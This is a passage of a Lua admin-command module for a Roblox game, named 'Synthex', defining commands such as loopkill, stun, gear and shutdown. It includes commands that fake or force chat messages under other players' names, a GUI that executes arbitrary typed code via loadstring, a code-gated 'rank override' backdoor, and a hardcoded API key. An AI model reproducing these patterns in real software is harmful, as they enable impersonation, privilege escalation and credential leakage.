  803. end
  804. end)
  805.  
  806. NewCommand("Define", "def", 0, "Defines a word", function(player, message)
  807. local http=game:GetService('HttpService')
  808. local req=http:GetAsync("http://api.wordnik.com/v4/word.json/"..message.."/definitions?limit=1&includeRelated=false&sourceDictionaries=all&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5",true)
  809. req=http:JSONDecode(req)
  810. local def={}
  811. for i in string.gmatch(req[1].text, "%w+%p*") do
  812. table.insert(def,i)
  813. end
  814. local defs=""
  815. for _,v in pairs(def) do
  816. defs=defs..v.." "
  817. if _%10==0 then defs=defs.."\n" end
  818. end
  819. Output(player,defs,GetColor(player))
  820. end)
  821.  
  822. NewCommand('Rank Override','override',0,'Show a GUI. If you enter the code right, you get rank 6.',function(player,message)
  823. -- Objects
  824.  
  825. local Interface = Instance.new("ScreenGui")
  826. local Body = Instance.new("Frame")
  827. local head = Instance.new("TextLabel")
  828. local CodeInput = Instance.new("TextBox")
  829. local LoginButton = Instance.new("TextButton")
  830. local CancelButton = Instance.new("TextButton")
  831. local TextLabel = Instance.new("TextLabel")
  832.  
  833. -- Properties
  834.  
  835. Interface.Name = "Interface"
  836. Interface.Parent = player.PlayerGui
  837.  
  838. Body.Name = "Body"
  839. Body.Parent = Interface
  840. Body.BackgroundColor3 = Color3.new(0, 0, 0)
  841. Body.BackgroundTransparency = 0.5
  842. Body.Position = UDim2.new(0.5, -150, 0.5, -150)
  843. Body.Size = UDim2.new(0, 300, 0, 300)
  844.  
  845. head.Name = "head"
  846. head.Parent = Body
  847. head.BackgroundColor3 = Color3.new(1, 1, 1)
  848. head.BackgroundTransparency = 1
  849. head.Position = UDim2.new(0.5, -150, 0, 0)
  850. head.Size = UDim2.new(0, 300, 0, 50)
  851. head.Font = Enum.Font.Highway
  852. head.FontSize = Enum.FontSize.Size28
  853. head.Text = "SYNTHEX RANK OVERRIDE"
  854. head.TextColor3 = Color3.new(1, 1, 1)
  855. head.TextSize = 28
  856.  
  857. CodeInput.Name = "CodeInput"
  858. CodeInput.Parent = Body
  859. CodeInput.BackgroundColor3 = Color3.new(1, 1, 1)
  860. CodeInput.Position = UDim2.new(0.5, -75, 0, 100)
  861. CodeInput.Size = UDim2.new(0, 150, 0, 30)
  862. CodeInput.Font = Enum.Font.SourceSans
  863. CodeInput.FontSize = Enum.FontSize.Size14
  864. CodeInput.Text = "LOGIN"
  865. CodeInput.TextScaled = true
  866. CodeInput.TextSize = 14
  867. CodeInput.TextWrapped = true
  868.  
  869. LoginButton.Name = "LoginButton"
  870. LoginButton.Parent = Body
  871. LoginButton.BackgroundColor3 = Color3.new(1, 1, 1)
  872. LoginButton.BackgroundTransparency = 1
  873. LoginButton.Position = UDim2.new(0, 25, 0, 150)
  874. LoginButton.Size = UDim2.new(0, 80, 0, 30)
  875. LoginButton.Font = Enum.Font.SourceSansBold
  876. LoginButton.FontSize = Enum.FontSize.Size28
  877. LoginButton.Text = "Login"
  878. LoginButton.TextColor3 = Color3.new(0.333333, 0.666667, 0)
  879. LoginButton.TextSize = 28
  880.  
  881. CancelButton.Name = "CancelButton"
  882. CancelButton.Parent = Body
  883. CancelButton.BackgroundColor3 = Color3.new(1, 1, 1)
  884. CancelButton.BackgroundTransparency = 1
  885. CancelButton.Position = UDim2.new(0, 200, 0, 150)
  886. CancelButton.Size = UDim2.new(0, 80, 0, 30)
  887. CancelButton.Font = Enum.Font.SourceSansBold
  888. CancelButton.FontSize = Enum.FontSize.Size28
  889. CancelButton.Text = "Cancel"
  890. CancelButton.TextColor3 = Color3.new(1, 0, 0)
  891. CancelButton.TextSize = 28
  892.  
  893. TextLabel.Parent = Body
  894. TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
  895. TextLabel.BackgroundTransparency = 1
  896. TextLabel.Position = UDim2.new(0.5, -100, 0, 40)
  897. TextLabel.Size = UDim2.new(0, 200, 0, 50)
  898. TextLabel.Font = Enum.Font.Highway
  899. TextLabel.FontSize = Enum.FontSize.Size24
  900. TextLabel.Text = "Please login to get rank 6."
  901. TextLabel.TextColor3 = Color3.new(1, 1, 1)
  902. TextLabel.TextSize = 24
  903.  
  904. LoginButton.MouseButton1Click:connect(function()
  905. if CodeInput.Text == Override then
  906. Interface:remove()
  907. SetRank(player, 6)
  908. else
  909. local WrongCode = Instance.new('TextLabel',Body)
  910. WrongCode.Name = "WrongCode"
  911. WrongCode.Parent = Body
  912. WrongCode.BackgroundColor3 = Color3.new(1, 1, 1)
  913. WrongCode.BackgroundTransparency = 1
  914. WrongCode.Position = UDim2.new(0, 50, 0, 200)
  915. WrongCode.Size = UDim2.new(0, 200, 0, 50)
  916. WrongCode.Font = Enum.Font.SourceSansBold
  917. WrongCode.FontSize = Enum.FontSize.Size24
  918. WrongCode.Text = "Wrong Code!"
  919. WrongCode.TextColor3 = Color3.new(1, 0, 0)
  920. WrongCode.TextSize = 24
  921. wait(3)
  922. WrongCode:remove()
  923. end
  924. end)
  925. CancelButton.MouseButton1Click:connect(function()
  926. Interface:remove()
  927. end)
  928. end)
  929.  
  930. NewCommand('WalkSpeed','ws',3,'Set someones walkspeed',function(player,message)
  931. local Split = message:find(Splitkey)
  932. local PreSplit = message:sub(1, Split - 1)
  933. local AfterSplit = message:sub(Split + 1)
  934. for _,plr in next,GetPlayers(player,PreSplit) do
  935. plr.Character.Humanoid.WalkSpeed = tonumber(AfterSplit)
  936. end
  937. end)
  938.  
  939. NewCommand('Jump Power','jp',3,'Set someones jumppower',function(player,message)
  940. local Split = message:find(Splitkey)
  941. local PreSplit = message:sub(1, Split - 1)
  942. local AfterSplit = message:sub(Split + 1)
  943. for _,plr in next,GetPlayers(player,PreSplit) do
  944. plr.Character.Humanoid.JumpPower = tonumber(AfterSplit)
  945. end
  946. end)
  947.  
  948. NewCommand("Test Tablet Designs","testtab",0,"Test the tablet designs",function(player,message)
  949. tabDesign = "Double"
  950. Output(player, 'Doubled', 'Lime green')
  951. wait(0.1)
  952. tabDesign = "Plain"
  953. Output(player, 'Plain', 'Cyan')
  954. wait(0.1)
  955. tabDesign = "SelectionBox"
  956. Output(player, 'Selection Box', 'Deep orange')
  957. wait(0.1)
  958. tabDesign = "DoubledSel"
  959. Output(player, 'Doubled Selection Box', 'Toothpaste')
  960. wait(0.1)
  961. tabDesign = "Orb"
  962. Output(player, 'Orb', 'Really red')
  963. wait(0.1)
  964. tabDesign = "DoubleOrb"
  965. Output(player, 'Doubled Orb', 'Really red')
  966. wait(0.1)
  967. tabDesign = "Flat"
  968. Output(player, 'Flat', 'Institutional white')
  969. wait(0.1)
  970. tabDesign = "DoubleFlat"
  971. Output(player, 'Doubled Flat', 'Really black')
  972. wait(0.1)
  973. tabDesign = "Double"
  974. end)
  975.  
  976. NewCommand('Get Ranked','ranked',0,'Get the ranked players',function(player,message)
  977. getRanked(player)
  978. end)
  979.  
  980. NewCommand("Force Chat","fchat",5,"Force someone to say something",function(player,message)
  981. local Split = message:find(Splitkey)
  982. local PreSplit = message:sub(1, Split - 1)
  983. local AfterSplit = message:sub(Split + 1)
  984. for _,plr in next,GetPlayers(player,PreSplit) do
  985. FC(plr, tostring(AfterSplit))
  986. end
  987. end)
  988.  
  989. NewCommand('Loopkill','lk',4,'Loopkill someone',function(player,message)
  990. for _,plr in next,GetPlayers(player,message) do
  991. while wait() do
  992. plr.Character.Humanoid.Health = 0
  993. end
  994. end
  995. end)
  996.  
  997. NewCommand('Injects','injcts',2,'Show injects',function(player,message)
  998. Output(player, 'Trash Can',GetColor(player),function() script.Scripts.TrashCan:Clone().Parent=player.Backpack end)
  999. Output(player, 'Minipeep',GetColor(player),function() script.Scripts.Minipeep:Clone().Parent=player.Backpack end)
  1000. end)
  1001.  
  1002. NewCommand("Enable Bubble Chat","bubblechat", 5, "Enable bubble chat for everyone on the server, even ones that join",function(player,message)
  1003. for i,v in pairs(game.Players:GetPlayers()) do
  1004. v.Chatted:connect(function(text)
  1005. game:GetService("Chat"):Chat(v.Character.Head, text, "Green")
  1006. end)
  1007. end
  1008.  
  1009. game:GetService("Players").PlayerAdded:connect(function(plr)
  1010. plr.Chatted:connect(function(txt)
  1011. game:GetService("Chat"):Chat(plr.Character.Head, txt, "Green")
  1012. end)
  1013. end)
  1014. end)
  1015.  
  1016. NewCommand("Fake Chat","fake",5,"Fake a chat message",function(player,message)
  1017. local Split = message:find(Splitkey)
  1018. local PreSplit = message:sub(1, Split - 1)
  1019. local AfterSplit = message:sub(Split + 1)
  1020.  
  1021. Services = setmetatable({},{__index=function(s,n)
  1022. if n == "ChatService" then
  1023. return require(game.ServerScriptService:WaitForChild("ChatServiceRunner"):WaitForChild("ChatService"));
  1024. else
  1025. return game:service(n)
  1026. end
  1027. end})
  1028. local FakeChat = Services.ChatService:AddSpeaker(PreSplit)
  1029.  
  1030. if not Services.ChatService:GetChannel("All") then
  1031. Services.ChatService:AddChannel("All")
  1032. for i,v in next, game:service'Players':players() do
  1033. if Services.ChatService:GetSpeaker(v.Name) then
  1034. Services.ChatService:GetSpeaker(v.Name):JoinChannel("All")
  1035. end
  1036. end
  1037. end
  1038.  
  1039. FakeChat:JoinChannel("All")
  1040.  
  1041.  
  1042.  
  1043. FakeChat:SayMessage(tostring(AfterSplit),"All")
  1044.  
  1045.  
  1046. wait(0.01)
  1047.  
  1048. Services.ChatService:RemoveSpeaker(PreSplit)
  1049. end)
  1050.  
  1051. NewCommand('Tab Design','tabd',5,'Set the tab design',function(player,message)
  1052. tabDesign = "Doubled"
  1053. Output(player, 'Doubled', 'Lime green',function() Dismiss(player) tabDesign = "Double" Output(player, "The tab design was set to Doubled!", "Lime green") end)
  1054. tabDesign = "Plain"
  1055. Output(player, 'Plain', 'Cyan',function() Dismiss(player) tabDesign = "Plain" Output(player, "The tab design was set to Plain!", "Lime green") end)
  1056. tabDesign = "SelectionBox"
  1057. Output(player, 'Selection Box','Navy blue',function() Dismiss(player) tabDesign = "SelectionBox" Output(player, "The tab design was set to Selection Box!", "Lime green") end)
  1058. tabDesign = "DoubledSel"
  1059. Output(player, 'Doubled with Selection Box', 'Deep orange',function() Dismiss(player) tabDesign = "DoubledSel" Output(player, "The tab design was set to Doubled with Selection Box!", "Lime green") end)
  1060. tabDesign = "Orb"
  1061. Output(player, 'Orb', 'Institutional white',function() Dismiss(player) tabDesign = "Orb" Output(player, "The tab design was set to Orb!", "Lime green") end)
  1062. tabDesign = "DoubleOrb"
  1063. Output(player, 'Doubled Orb', 'Really red',function() Dismiss(player) tabDesign = "DoubleOrb" Output(player, "The tab design was set to Doubled Orb!", "Lime green") end)
  1064. tabDesign = "Flat"
  1065. Output(player, 'Flat', 'Really black',function() Dismiss(player) tabDesign = "Flat" Output(player, 'The tab design was set to Flat!', 'Lime green') end)
  1066. tabDesign = "DoubleFlat"
  1067. Output(player, 'Doubled Flat', 'Toothpaste',function() Dismiss(player) tabDesign = 'DoubleFlat' Output(player, 'The tab design was set to Doubled Flat!', 'Lime green') end)
  1068. tabDesign = "Neon"
  1069. Output(player, 'Neon', 'Royal purple',function() Dismiss(player) tabDesign = "Neon" Output(player, 'The tab design was set to Neon!','Lime green') end)
  1070. end)
  1071.  
  1072. NewCommand('No Loopkill','unlk',4,'UnLoopkill someone',function(player,message)
  1073. for _,plr in next,GetPlayers(player,message) do
  1074. plr.Character = nil
  1075. wait(0.3)
  1076. plr:LoadCharacter()
  1077. end
  1078. end)
  1079.  
  1080. NewCommand("Set Waves","wave",5,"Set if waves are on or off",function(player,message)
  1081. Output(player, 'Do you want waves on?','Institutional white')
  1082. Output(player, 'Yes','Lime green',function() Waves = true end)
  1083. Output(player, 'No','Really red',function() Waves = false end)
  1084. end)
  1085.  
  1086. NewCommand("Add Channel","add",6,"Add a channel to the chat system",function(player,message)
  1087. addChannel(message)
  1088. end)
  1089.  
  1090. NewCommand('Ping','ping',0,'Ping a message on a tablet',function(player,message)
  1091. Output(player, message, GetColor(player))
  1092. if message == "" then
  1093. Output(player, 'Synthex', 'Lime green')
  1094. end
  1095. end)
  1096.  
  1097. NewCommand("Show Players","plrs", 4, "Show the players on the game",function(player,message)
  1098. getPlayers(player)
  1099. end)
  1100.  
  1101.  
  1102. NewCommand("Gear","gear",4,"Gear someone a tool",function(player,message)
  1103. local Split = message:find(Splitkey)
  1104. local PreSplit = message:sub(1, Split - 1)
  1105. local AfterSplit = message:sub(Split + 1)
  1106. for _,plr in next,GetPlayers(player,PreSplit) do
  1107. game:GetObjects("rbxassetid://"..tostring(AfterSplit))[1].Parent = plr.Backpack
  1108. end
  1109. end)
  1110.  
  1111. NewCommand('Shutdown','sd',5,'Shutdown the server',function(player,message)
  1112. for i,v in pairs(game.Players:GetPlayers()) do
  1113. v:kick('[Synthex]: Server has been shutdown.')
  1114. end
  1115. end)
  1116.  
  1117. NewCommand("Script Executor GUI","exegui",5,"Give someone a script executor gui",function(player,message)
  1118. for _,plr in next,GetPlayers(player,message) do
  1119. -- Objects
  1120.  
  1121. local ScreenGui = Instance.new("ScreenGui")
  1122. local Frame = Instance.new("Frame")
  1123. local TextButton = Instance.new("TextButton")
  1124. local TextBox = Instance.new("TextBox")
  1125. local TextButton_2 = Instance.new("TextButton")
  1126. local TextButton_3 = Instance.new("TextButton")
  1127. local TextLabel = Instance.new('TextLabel')
  1128.  
  1129. -- Properties
  1130.  
  1131. ScreenGui.Parent = plr.PlayerGui
  1132.  
  1133. Frame.Parent = ScreenGui
  1134. Frame.BackgroundColor3 = Color3.new(0, 0, 0.498039)
  1135. Frame.BackgroundTransparency = 0.5
  1136. Frame.Draggable = true
  1137. Frame.Position = UDim2.new(0.5, -200, 0.5, -200)
  1138. Frame.Selectable = true
  1139. Frame.Size = UDim2.new(0, 400, 0, 400)
  1140. Frame.Visible = true
  1141.  
  1142. TextButton.Parent = Frame
  1143. TextButton.BackgroundColor3 = Color3.new(0, 0, 0)
  1144. TextButton.BackgroundTransparency = 0.60000002384186
  1145. TextButton.Position = UDim2.new(0, 380, 0, 0)
  1146. TextButton.Size = UDim2.new(0, 20, 0, 20)
  1147. TextButton.FontSize = Enum.FontSize.Size24
  1148. TextButton.Text = "-"
  1149. TextButton.TextColor3 = Color3.new(1, 1, 1)
  1150.  
  1151. TextBox.Parent = Frame
  1152. TextBox.BackgroundColor3 = Color3.new(1, 1, 1)
  1153. TextBox.Position = UDim2.new(0, 50, 0, 50)
  1154. TextBox.Size = UDim2.new(0, 300, 0, 250)
  1155. TextBox.ClearTextOnFocus = false
  1156. TextBox.Font = Enum.Font.SourceSans
  1157. TextBox.FontSize = Enum.FontSize.Size14
  1158. TextBox.MultiLine = true
  1159. TextBox.Text = "INPUT YOUR SCRIPT HERE"
  1160. TextBox.TextScaled = false
  1161. TextBox.TextWrapped = true
  1162. TextBox.TextXAlignment="Left"
  1163. TextBox.TextYAlignment="Top"
  1164.  
  1165. TextButton_2.Parent = Frame
  1166. TextButton_2.BackgroundColor3 = Color3.new(0, 0, 0)
  1167. TextButton_2.Position = UDim2.new(0, 50, 0, 330)
  1168. TextButton_2.Size = UDim2.new(0, 50, 0, 50)
  1169. TextButton_2.Font = Enum.Font.SourceSansBold
  1170. TextButton_2.FontSize = Enum.FontSize.Size24
  1171. TextButton_2.Text = "EXE"
  1172. TextButton_2.TextColor3 = Color3.new(1, 1, 1)
  1173.  
  1174. TextButton_3.Parent = Frame
  1175. TextButton_3.BackgroundColor3 = Color3.new(0.666667, 0, 0)
  1176. TextButton_3.Position = UDim2.new(0, 300, 0, 330)
  1177. TextButton_3.Size = UDim2.new(0, 50, 0, 50)
  1178. TextButton_3.Font = Enum.Font.SourceSansBold
  1179. TextButton_3.FontSize = Enum.FontSize.Size24
  1180. TextButton_3.Text = "CLR"
  1181. TextButton_3.TextColor3 = Color3.new(1, 1, 1)
  1182.  
  1183. TextLabel.Parent = Frame
  1184. TextLabel.Text = "SCRIPT EXECUTION GUI"
  1185. TextLabel.Size = UDim2.new(0, 380, 0, 20)
  1186. TextLabel.TextScaled = true
  1187. TextLabel.TextColor3 = Color3.new(255,255,255)
  1188. TextLabel.BackgroundTransparency = 1
  1189. TextLabel.Selectable = true
  1190. TextLabel.Draggable = true
  1191.  
  1192. TextButton.MouseButton1Click:connect(function()
  1193. if Frame.Size == UDim2.new(0, 400, 0, 400) then
  1194. Frame.Size = UDim2.new(0, 400, 0, 20)
  1195. TextButton.Text = "+"
  1196. TextBox.Visible,TextButton_2.Visible,TextButton_3.Visible = false,false,false
  1197. else
  1198. Frame.Size = UDim2.new(0, 400, 0, 400)
  1199. TextButton.Text = "-"
  1200. TextBox.Visible,TextButton_2.Visible,TextButton_3.Visible = true,true,true
  1201. end
  1202. end)
  1203. TextButton_2.MouseButton1Click:connect(function()
  1204. local success,errored = loadstring(TextBox.Text)
  1205. if success and not errored then
  1206. success()
  1207. else
  1208. TextBox.Text = "Error: "..errored
  1209. end
  1210. end)
  1211.  
  1212. TextButton_3.MouseButton1Click:connect(function()
  1213. TextBox.Text = ""
  1214. end)
  1215. end
  1216. end)
  1217.  
  1218. NewCommand('Mute','mute',6,'Mute a player',function(player,message)
  1219. for _,plr in next,GetPlayers(player,message) do
  1220. Sbexe('x/game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, false)', plr)
  1221. end
  1222. end)
  1223.  
  1224. NewCommand('UnMute','unmute',6,'UnMute a player',function(player,message)
  1225. for _,plr in next,GetPlayers(player,message) do
  1226. Sbexe('x/game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, true)', plr)
  1227. end
  1228. end)
  1229.  
  1230. NewCommand("Stun","stun",3,"Stun a player",function(player,message)
  1231. for _,plr in next,GetPlayers(player,message) do
  1232. plr.Character.Humanoid.PlatformStand = true
  1233. end
  1234. end)
  1235.  
  1236. NewCommand("Change Override Code","newcode",7,"Change the override code to Synthex",function(player,message)
  1237. Override = message
  1238. end)
  1239.  
  1240. NewCommand("UnStun","unstun",3,"UnStun a player",function(player,message)
  1241. for _,plr in next,GetPlayers(player,message) do
  1242. plr.Character.Humanoid.PlatformStand = false
  1243. end
  1244. end)
  1245.  
  1246. --Loadup--
  1247.  
  1248. for i,v in pairs(game.Players:GetPlayers()) do
  1249. Output(v, 'Welcome to Synthex, '..v.Name..'!',GetColor(v))
  1250. Output(v, 'Your rank is: '..GetRank(v),'Deep orange')
  1251. Output(v, 'Click to show commands','Bright green',function() Commands_E(v) end)
  1252. Output(v, 'Dismiss','Really red',function() Dismiss(v) end)
  1253. Output(v, 'Your suffix is '..GetSuffix(v), 'Cyan')
  1254.  
  1255. if GetRank(v) >= 1 then
  1256. Services.ChatService:GetSpeaker(v.Name):SetExtraData("NameColor", Color3.new( 170, 0, 127))
  1257. Services.ChatService:GetSpeaker(v.Name):SetExtraData("ChatColor", Color3.new( 255, 255, 0))
  1258. else
  1259. Services.ChatService:GetSpeaker(v.Name):SetExtraData("NameColor", Color3.new( 0, 170, 255))
  1260. Services.ChatService:GetSpeaker(v.Name):SetExtraData("ChatColor", Color3.new( 0, 180, 0))
  1261. end
  1262.  
  1263. v.Chatted:connect(function(m)
  1264. Chatted(v, m)
  1265. end)
  1266. end
  1267.  
  1268. function setChatColor(player)
  1269. pcall(function()
  1270. coroutine.wrap(function()
  1271. if GetRank(player) >= 1 then
  1272. Services.ChatService:GetSpeaker(player.Name):SetExtraData("NameColor", Color3.new( 170, 0, 127))
  1273. Services.ChatService:GetSpeaker(player.Name):SetExtraData("ChatColor", Color3.new( 255, 255, 0))
  1274. else
  1275. Services.ChatService:GetSpeaker(player.Name):SetExtraData("NameColor", Color3.new( 0, 170, 255))
  1276. Services.ChatService:GetSpeaker(player.Name):SetExtraData("ChatColor", Color3.new( 0, 180, 0))
  1277. end
  1278. end)()
  1279. end)
  1280. end
  1281.  
  1282. return module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement